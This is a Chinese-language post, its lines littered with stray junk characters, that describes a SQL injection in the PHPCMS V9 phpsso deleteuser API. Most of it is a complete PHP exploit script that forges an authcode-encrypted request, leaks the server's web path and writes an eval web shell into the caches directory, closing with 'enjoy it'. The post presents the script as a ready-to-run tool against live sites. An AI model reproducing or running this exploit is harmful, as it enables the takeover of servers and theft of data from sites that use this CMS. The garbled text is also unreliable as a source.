PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
6 s& t/ `9 A1 y* m; A1 z, {* U( o% P. G$ M$ b. c
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
( y) m8 l7 G, D
* Q5 c0 T, x8 f/ _# T, D漏洞分析:
( I3 G! ]# _) K/ b; W9 a1.未启用ucenter服务的情况下uc_key为空
' q* k$ @, e9 i$ n, l: E6 [5 ~define('UC_KEY', pc_base::load_config('system', 'uc_key'));
* X! N# f8 O1 }4 T) \! d2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。' I. V8 ^4 n8 v) b2 i$ e9 {
public function deleteuser($get,$post) {* r: V/ Q2 @4 T; q( L! l+ r1 k: |
pc_base::load_app_func('global', 'admin');
" j9 Q" S' e1 s: w2 M3 P+ Q$ t( g pc_base::load_app_class('messagequeue', 'admin' , 0);
6 [' \0 c$ f" L, B# J3 J l e# P4 S/ k $ids = new_stripslashes($get['ids']);
4 \/ G. F5 ~* a _9 o+ ` $s = $this->member_db->select("ucuserid in ($ids)", "uid");
( P' N; Z* s/ G. m# m# R3 ~SQL语句为! \# `3 c8 I& C; F- b! b2 Y
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
2 S' N2 F+ _. X1 N+ W" N0 G+ J- f2 y' Q; p- x
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
3 M/ r" w- L2 F<?php: w& b7 Y9 E5 ]& M4 X( `+ @1 T( w9 c
print_r('( c E/ w5 S6 a' d q$ Z+ \
---------------------------------------------------------------------------0 C$ |: v$ o! T
PHPcms (v9 or Old Version) uc api sql injection 0day4 M1 [: x2 X* [/ L
by rayh4c#80sec.com* F# _7 W6 C2 W7 K$ q) u+ }
---------------------------------------------------------------------------4 V/ \) s$ R8 r8 Q' e1 |" P: `
');0 ~6 g, I( `$ p7 Y+ a9 C
) `1 }- g* R) V
if ($argc<3) {1 u& M7 f$ `! ^9 ^, d
print_r('9 A+ W9 |' v9 o# P2 N1 D$ A
---------------------------------------------------------------------------8 P/ y$ F7 N, ~0 T
Usage: php '.$argv[0].' host path OPTIONS6 h& g# D9 F$ G
host: target server (ip/hostname)9 g( C; H8 j" ]4 ^
path: path to phpcms! v4 i! e, J* N
Options:
8 {& Q S5 D* _ -p[port]: specify a port other than 80
+ Y' K3 m6 H: o: t4 t1 x2 w -P[ip:port]: specify a proxy
/ G: f% O9 v1 T' ^2 @/ {$ a, M: R7 VExample:
6 [5 E$ }. X J7 ^% S. T6 dphp '.$argv[0].' localhost /
" Z; ^/ b( N9 _7 q' bphp '.$argv[0].' localhost /phpcms/ -p818 `9 o: V- P8 r$ }( A7 V1 @/ }
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80: x3 ] t- y, W1 {
---------------------------------------------------------------------------
% e1 `% s, @+ i7 D');
9 W( }: }* a& X4 A+ A" R2 h: X die;. Q; C S: I& j) M" S* \/ k
}2 H# B& ~$ a0 Y6 [% {
; W9 Q+ Q, t& o# m8 B- E
error_reporting(7);. H- y' u# y9 y2 ~
ini_set("max_execution_time",0);
' }& d- d8 C- x, zini_set("default_socket_timeout",5);
% M) J2 K8 I: ~) ]
% i* J7 G3 H& g, Gfunction quick_dump($string)
6 b w% {3 O5 p4 H4 t. c{8 L: O, n& p$ @
$result='';$exa='';$cont=0;
5 h3 s) A, C8 f a% i8 J% u$ E for ($i=0; $i<=strlen($string)-1; $i++)
6 J( V' _' |1 g0 \1 J: x {$ v! t5 T4 N3 a3 s1 z
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) k" w x' j$ f$ G5 p, G
{$result.=" .";}8 d: @9 ~- C2 @; Y
else
0 j- ^) Q7 q, T3 L+ {1 b U {$result.=" ".$string[$i];}' {( z/ y) ^3 H' z
if (strlen(dechex(ord($string[$i])))==2)
, j) g- A% p" o6 x" k {$exa.=" ".dechex(ord($string[$i]));}( p" |. C7 V& K" R$ w
else
, q" x9 r& ~2 I2 D# c0 m% [7 ^- f {$exa.=" 0".dechex(ord($string[$i]));}
/ _# e9 e/ Z o0 x- I $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
3 T1 w0 E) t8 N }
1 A6 l Z: G% t9 M$ S5 x return $exa."\r\n".$result;2 n1 q( Z6 H6 J5 W3 L& c: Q
}
4 k" T7 G+ T' m- Z0 ~ v) B$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
" b1 P. U# L/ R5 ^6 c* ^( i- u# @+ V
function send($packet)( L( k" c7 u. \% a( c7 X. N; B
{9 A# }: {8 ?' ~, W
global $proxy, $host, $port, $html, $proxy_regex;
, e! J( o$ @; Q) g0 f3 _ if ($proxy=='') {1 t8 x" Z. ]1 L2 y+ [7 v& x/ Z# G
$ock=fsockopen(gethostbyname($host),$port);6 |8 }5 e1 I. J2 X) l2 D8 f8 Q0 L
if (!$ock) {# L) }" E+ g( h! H# U6 E
echo 'No response from '.$host.':'.$port; die;
1 ?2 T8 C% @' y6 T3 p0 X+ | }) j% I# |7 U0 F3 i9 Q, w7 j! Y
}. c4 F7 r: w7 f8 }
else {2 ~& D2 c" N3 e' e8 [
$c = preg_match($proxy_regex,$proxy);& L: [1 J a% p* N! l; V6 V2 U
if (!$c) {) f- ]6 j2 `5 Q* W
echo 'Not a valid proxy...';die;, N9 o4 q& ]) _$ ^5 |+ N5 P! t
}
3 C- U- P& B: D4 b1 R* I6 h! h* r, [ $parts=explode(':',$proxy);+ Y! c% H4 r' c/ X1 Y
$parts[1]=(int)$parts[1];
) ~% o5 u( `1 V: L! I echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
% a9 B$ h9 B; f5 p& J" g& A4 }9 ` $ock=fsockopen($parts[0],$parts[1]);; P& ~% v8 b. h5 A
if (!$ock) {
, ?( j* j: [5 g5 `& q# y* c echo 'No response from proxy...';die;4 \8 D) _, z" ^2 w
}
; H( M# E5 s0 f8 ?2 N; Z7 n }
/ z+ o+ h7 D7 c fputs($ock,$packet);
; ^7 j: c8 O0 e if ($proxy=='') {* b' J: x% h3 F- o
$html='';
p8 W& ~# ], [$ C while (!feof($ock)) {
4 k3 v+ L' E7 J# `0 ~2 \ $html.=fgets($ock);' w# c/ Z4 }% i, Y+ U' v. u# s
}: A2 P; d; F% n+ k
}
# h* {( j& r+ p else {
$ T6 U/ ?2 \4 g; m9 y6 D, N/ Q8 s& E $html='';' O1 Z7 [5 J& D }5 a3 V0 T
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {& W+ s' \! A, ]" s D0 D" h
$html.=fread($ock,1);8 Z# b# ~4 F$ K1 V* {$ q& x: e
}" O! g# L5 Y" {, e9 G* n6 n+ M
}
% v7 I6 l8 T. z$ D* _- G fclose($ock);6 t& `: T3 G9 u6 A; x6 k% f; d
}
3 l/ z3 C( f. p) G/ F) y6 s3 Y8 U4 `5 O: X
$host=$argv[1];
0 ]/ [2 E) y8 K3 \& A$path=$argv[2];
, ~- @7 d8 T' x- D9 T6 ]: |$port=80;
4 w' H! b6 w Y6 @, X0 u! d. e$ I V$proxy="";
" q! Z3 X; b' Z- M/ d; afor ($i=3; $i<$argc; $i++){
! E4 l0 Q0 T, `# a* U$temp=$argv[$i][0].$argv[$i][1];
y& v& o1 w, O3 v6 Fif ($temp=="-p")
( w* ~; B9 d1 M! U9 U1 P+ d{1 W P3 v. V0 u: I5 _/ y
$port=(int)str_replace("-p","",$argv[$i]);7 ?$ H$ @" V( ?, k5 x. Z* v" h" S: E
}2 m/ p3 Y+ M0 O, N1 S6 f$ U1 ~
if ($temp=="-P")
# m/ ~- W* b6 w' O2 n{
1 i0 i0 k: r& Z, `0 k- l% J" b) _( f# T $proxy=str_replace("-P","",$argv[$i]);, v y5 H% A& ]4 ^- ]; e0 N, Z' h
}
: N' ^ o4 z J" u3 \9 _2 B( ~+ {}
& Z* m+ y! \6 g3 _8 {: i7 f* C6 x9 N3 k2 X: ]- [4 K/ |! O ]
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}& c! }0 f, X, C6 [( w' y; C9 U# T
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}) ?% a7 V* a9 Q Y
+ }2 N% p: c# Z( E* n# O0 T0 qfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
( x/ S0 t& L; l6 G( G; a/ _0 u$ T4 e
8 `* M0 X! j$ R2 G( n/ t- X! l9 r $ckey_length = 4;
! |6 U7 i G$ M* z: j) w
! m ~4 b0 Q+ L# B* e# z $key = md5($key ? $key : '');
; D" \. [* T- c5 ^ $keya = md5(substr($key, 0, 16));- e9 ?4 A( w9 p7 k( v4 f, A7 g
$keyb = md5(substr($key, 16, 16));
7 n. a. D$ ?! k9 v# i2 r $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';2 Y1 ^- ]% K2 Z' J% n5 ?/ J
: R0 d; R$ S- R: z
$cryptkey = $keya.md5($keya.$keyc);6 p1 Q. h# j2 V) @8 ^- |1 U
$key_length = strlen($cryptkey);/ C$ t/ o- N5 {. y$ C! m
& Z2 z! `3 K3 r6 Z; W $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;/ Q; b# d: B" N/ N
$string_length = strlen($string);! F& w; B# V) P" Q
$ W$ E$ P6 L5 d
$result = '';
3 O; y( P+ _9 W( w $box = range(0, 255);
- Y; J8 u1 s, m! Y* m' I8 m. T
3 L% F6 H& m$ _# P7 H4 g2 `/ E" { $rndkey = array();% @- c: Z8 B/ L2 I
for($i = 0; $i <= 255; $i++) {
8 r) V$ E2 h! q! P$ s $rndkey[$i] = ord($cryptkey[$i % $key_length]);
: H5 P( J" Q7 K- a' S' X, e# E }
- @' s) D5 Y) U; J; J) ?* y! `: c- H$ _3 O: ]7 p" L
for($j = $i = 0; $i < 256; $i++) {
0 @" t0 O. V. ]/ e7 }2 N $j = ($j + $box[$i] + $rndkey[$i]) % 256;
Y/ @: s4 O4 f# g5 l+ b2 Q $tmp = $box[$i]; N5 d: v5 U2 }! D; P! `
$box[$i] = $box[$j];1 @$ h1 P% x- v& X# b Y
$box[$j] = $tmp;
" T) D& D+ `/ m- {! a O }+ G9 A! [: g4 s9 [$ L
' ]; I4 Z% V; f for($a = $j = $i = 0; $i < $string_length; $i++) {% r1 E' Q- Q$ e. G2 l" h
$a = ($a + 1) % 256;
7 E1 T/ `/ v2 @: f8 l $j = ($j + $box[$a]) % 256;
+ w. g- j. A+ | $tmp = $box[$a];8 E& I9 w3 J+ B) k' u2 b
$box[$a] = $box[$j];" s( F8 g( B; j# r* ~' k
$box[$j] = $tmp;
0 R8 N2 x% q$ l! V $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));3 A- u2 u- \8 a. V. X+ }$ H+ R
}
+ f& K6 s/ g: A* a1 Y v; a' [ W. u( P: c4 E5 K* `4 m4 P) N) ?
if($operation == 'DECODE') {2 f# d. H. D& Q+ e
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {% }0 z% n, f2 E- i
return substr($result, 26);
9 E0 k0 |( k& V) j } else {, i" d) \. H6 u( O# y, l$ I) W" }
return '';0 y% s$ F7 Y: t+ z E' ] V! `* I. f
}8 O: { y4 f0 w4 H
} else {
* }) F2 x3 u2 X6 j return $keyc.str_replace('=', '', base64_encode($result));
, d* N: j0 R, [6 e& y }" E" e. i; |1 K' R3 x' }% f P
! |- ?8 A/ e D5 U5 y3 E5 l! Q
}
" h) {# Z! \5 K
5 X: |* D# R' M4 M$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";( u# U0 d% y; u }# a
$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 [6 f3 t" U& k/ g7 A' O6 s+ p5 S
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
4 D$ _) m6 H7 k3 a$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n"; v) K& y% M" x2 d9 ~+ J, Q
$packet.="User-Agent: Mozilla/5.0\r\n";! _. \ k0 f: w' m
$packet.="Host: ".$host."\r\n";
0 ] k* }; T7 Z2 s2 S8 V$packet.="Connection: Close\r\n\r\n";( f! |7 T5 b, V! i& ^2 L. }: S
send($packet);. M9 @3 L- p% ~9 Z6 t
if(strpos($html,"MySQL Errno") > 0){0 O \- m, \& f
echo "[2] 发现存在SQL注入漏洞"."\n";0 X' S0 e: r) _7 T6 ]
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
. R8 Z8 l) I1 S+ K, j$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
5 H2 n- j# d0 n! x; W$packet.="User-Agent: Mozilla/5.0\r\n";" u; K5 }3 S% o5 D5 w K1 H$ e
$packet.="Host: ".$host."\r\n";
+ d" r( U* w7 g4 R$packet.="Connection: Close\r\n\r\n";9 _- k* c9 {/ K* Y- e
send($packet);/ W2 M# N3 G0 Z; c I
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);+ U$ N; i% i( U1 d
//print_r($matches);% a+ t6 X/ d3 A4 n0 ~
if(!empty($matches)){+ p+ D( A) P" o
echo "[4] 得到web路径 " . $matches[0]."\n";
, E; I/ p( H% ^( G2 j) Z+ X" Aecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";: z" k6 g) h0 K3 K. Y
$SQL = "time=999999999999999999999999&ids=1)";
5 s P1 [4 F2 F% E0 \$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";: G: ]% e) Z+ m
$SQL.="&action=deleteuser";
8 h1 S% O. R* W8 X$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 @. K- m( f% y1 m& r% i9 n8 O
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";/ L# H; X# `3 H
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";) b" Z7 ?! ?# J4 y: Q. G
$packet.="User-Agent: Mozilla/5.0\r\n";& R, v& h4 E# f; C
$packet.="Host: ".$host."\r\n";
4 x, S2 s ^* \1 a$packet.="Connection: Close\r\n\r\n";
8 j5 e6 S4 Q& lsend($packet);
y9 X) v/ w7 kif(strpos($html,"Access denied") > 0){
6 v( Y' O9 ?2 H* l! F2 aecho "[-] MYSQL权限过低 禁止写入文件 ";
" @( i% t/ ~; M2 Ddie;
9 D+ X( G, c V& H}1 z s9 t% x: o3 u
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";0 \& }, n# |. L2 N
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
7 A( s2 ?, Z0 ~$ k8 d% g$packet.="User-Agent: Mozilla/5.0\r\n";
2 D; x' ^8 m4 q- @# b& p: Y$packet.="Host: ".$host."\r\n";
% {0 F& j3 L8 B9 z: L$packet.="Connection: Close\r\n\r\n";$ z7 u! b, F5 b) x7 c" q1 g( ~ v
send($packet);" O6 g& x* u7 P' i$ B' P
if(strpos($html,"<title>phpinfo()</title>") > 0){
& ^2 ?2 X/ E% j" P+ J9 a9 M( a( q1 }2 Lecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
3 w, m) |; k. ~9 X}
1 M3 e) ?- ]0 @$ S0 L6 z}else{
% `: v% R5 l7 Z4 Z! _echo "[-]未取到web路径 ";% ^* s# o- G7 m& r. m
}
" ?( m' o6 Z* }5 B6 j& a2 {}else{. f. U$ O+ l2 q
echo "[*]不存在SQL注入漏洞"."\n";
" v$ J0 k, d% N% S& P4 p5 h# J}
5 z6 A: S% Q6 `7 \7 J8 p. O+ S) C: v* C8 B3 g+ d& g
?>
& t% {! p( d% {; s4 u |